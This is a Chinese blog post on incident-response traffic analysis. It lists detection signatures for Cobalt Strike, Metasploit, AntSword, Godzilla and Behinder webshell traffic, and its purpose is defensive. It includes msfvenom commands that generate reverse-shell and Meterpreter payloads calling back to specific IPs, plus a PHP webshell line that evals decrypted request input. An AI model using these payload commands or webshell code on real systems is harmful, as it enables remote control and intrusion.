应急响应--流量分析

(一)Cobalt Strike流量特征分析

1.HTTP特征

源码特征:

在流量中,通过http协议的url路径,在checksum8解密算法计算后,32位的后门得到的结果是92,64位的后门得到的结果是93,该特征符合未魔改Cobalt Strike的流量特征。

java 复制代码
public class EchoTest {
  public static long checksum8(String text) {
    if (text.length() < 4) {
      return 0L;
    }
    text = text.replace("/", "");
    long sum = 0L;
    for (int x = 0; x < text.length(); x++) {
      sum += text.charAt(x);
    }
    return sum % 256L;
  }
  public static void main(String[] args) throws Exception {
    System.out.println(checksum8("flJA"));
  }
}

流量特征:

固定的user-agent头:老版本的cobalt strike中user-agent头是固定不变的,可以作为一个特征,新版本的cobalt strike中的user-agent头是会每次都变化的。

例如,在cobalt strike4.8中两个不同的cobalt strike数据包的user-agent头是不同的。

特殊的请求特征:

在使用cobalt strike下达指令时,会出现post请求/sumbit.php?id=xxx的特征,该特征可以判断cobalt strike。

魔改后的cobalt strike遗留特征:

即使cobalt strike进行了证书文件的魔改,可以消除数据包的部分特征,但仍有部分特征没有修改,例如该图中是修改了cobalt strike证书文件的数据包情况,但是遗留了GET /cx和POST /q.cgi这两个特征。

工具:https://blog.didierstevens.com/didier-stevens-suite/

2.HTTPS特征

证书特征:

如果没有修改cobalt strike的证书或者自己手动加载自定义证书,默认的cobalt strike证书可以直接判断出该工具是cobalt strike。

JA3特征:

在数据包的client hello中,数据包有JA3和操作系统有关,每个操作系统都有固定的值,例如我使用的操作系统为windows11

JA3S特征:

在数据包的server hello中,数据包有JA3s和操作系统有关,每个操作系统都有固定的值,例如我使用的操作系统为windows11

(二)MSF的流量特征分析

1.TCP特征

msfvenom -p windows/shell/reverse_tcp lhost=116.62.152.86 lport=1234 -f exe -o test1.exe

利用明文传输(查看流量包,追踪流选择tcp),都含有MZ头和DOS异常

2.HTTP特征

msfvenom -p windows/meterpreter/reverse_http lhost=10.236.32.154 lport=4445 -f exe -o test.exe

有MZ头和DOS异常(因为都是meterpreter类型)、但是多了请求包和返回包

32位:

java 复制代码
请求包:
UA:Mozilla/5.0,
Connection: Keep-Alive
Cache-Control: no-cache
返回包
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Connection: Keep-Alive
Server: Apache
Content-Length: 176732

64位:

java 复制代码
请求包:
GET /Host:Cache-Control:no-cache
返回包:
HITP/1.1 200 OK
Content-Type:application/octet-stream
Connection:close
Server: Apache
Content-Length:201820

3.HTTPS特征

msfvenom -p windows/x64/meterpreter/reverse_https lhost=10.236.0.30 lport=4445 -f exe -o test.exe

https的特征是流量中会含有Client Hello和Server Holle这四个包

Client包里面有JA值,Server包里面有JAS值

(三)蚁剑的流量特征

1.User-Agent

请求中的User-Agent值是:antSword/*;也有可能是:Mozilla/5.0 (Windows NT ) AppleWebKit/ (KHTML, like Gecko) Chrome/* Safari/

2.关键字

请求中可以检测到的关键字:"eval""eVAL"

请求体存在@ini_set("display_errors", "0");@set_time_limit(0);(开头可能是菜刀或者是蚁剑)

(四)哥斯拉的流量特征

1.强特征Cookie:

cookie字段,最后一个Cookie的值出现;(尾值出现分号)

2.请求头Accept:

请求中的Accept头是:

Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8

3.payload特征

jsp会出现xc,pass字符和Java反射,base64加解码等特征,php,asp则为普通的一句话木马。

4.Connection响应

哥斯拉会响应三次,还有一个地方需要注意的就是webshell连接,所以一般会设置长时间连接,所以connection这里会是keep-alive

5.响应头中的Cache-Control头

响应头中的Cache-Control头是:Cache-Control: no-store, no-cache, must-revalidate

6.响应体的数据

响应体的数据有一定特征,哥斯拉会把一个32位的md5字符串按照一半拆分,分别放在base64编码的数据的前后两部分。整个响应包的结构体征为:md5前十六位+base64+md5后十六位。

(五)冰蝎的流量特征

1.User-agent字段

java 复制代码
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)  

Mozilla/5.0 (Windows; U; Windows NT 6.1; en\-US) AppleWebKit/533+ (KHTML, like Gecko) Element Browser/5.0  

Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)  

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.37 Edge/16.16299  

Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0  

Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36  

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)  

Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko  

Mozilla/5.0 (Windows NT 6.1; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0  

Mozilla/5.0 (Windows NT 5.1; rv:40.0) Gecko/20100101 Firefox/40.0  

Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36  

Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko  

Mozilla/7.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; Xbox)

2.Content-type:

Content-type:Application/x-www-form-urlencoded

3.Connection字段:

Connection: Keep-Alive(冰蝎默认使用的长连接是为了避免频繁的握手造成的资源丢失)

4.Accept字段

请求头中存在Accept: application/json, text/javascript, /; q=0.01

也有可能Accept: text/html,image/gif, image/jpeg, *; q=.2, /; q=.2

Content-Type: application/octet-stream ******q=0.8

5.端口

冰蝎与webshell建立连接的同时,javaw也与目的主机建立tcp连接,每次连接使用本地端口在49700左右,每连接一次,每建立一次新的连接,端口就依次增加。

6.PHP webshell 中存在固定代码

$post\=Decrypt(file\_get\_contents("php://input"));

eval($post);

7.请求头与响应包

有固定的请求头和响应头,请求字节头:dFAXQV1LORcHRQtLRlwMAhwFTAg/M ,响应字节头:TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEd

默认时,冰蝎 webshell都有"e45e329feb5d925b" 一串密钥,与冰蝎3.0相同

相关推荐
菜腿承希1 小时前
第二篇:CTF常见题型解析:密码学、逆向工程、漏洞利用、Web安全
网络·安全·web安全
网安墨雨2 小时前
网络安全之命令
java·运维·web安全
步黔2 小时前
网络安全之文件上传漏洞
网络·安全·web安全
故事与他6455 小时前
upload-labs-master通关攻略(13~16)
java·服务器·前端·安全·网络安全
Doris Liu.5 小时前
苹果“被盗设备保护”的取证意义
科技·程序人生·安全·ios·智能手机·系统安全·安全架构
Hacker_LaoYi5 小时前
网络安全工具nc(NetCat)
安全·web安全·php
岛屿旅人6 小时前
基于生成式人工智能的网络安全主动防御技术(上)
网络·人工智能·安全·web安全·网络安全
火绒终端安全管理系统6 小时前
火绒企业版V2.0全面支持Linux与国产化系统!免费试用助力国产化终端安全升级
网络·安全·网络安全·火绒安全·火绒
火绒终端安全管理系统6 小时前
火绒终端安全管理系统V2.0--纵深防御体系(分层防御)之内容拦截层
网络·安全·网络安全·火绒安全·火绒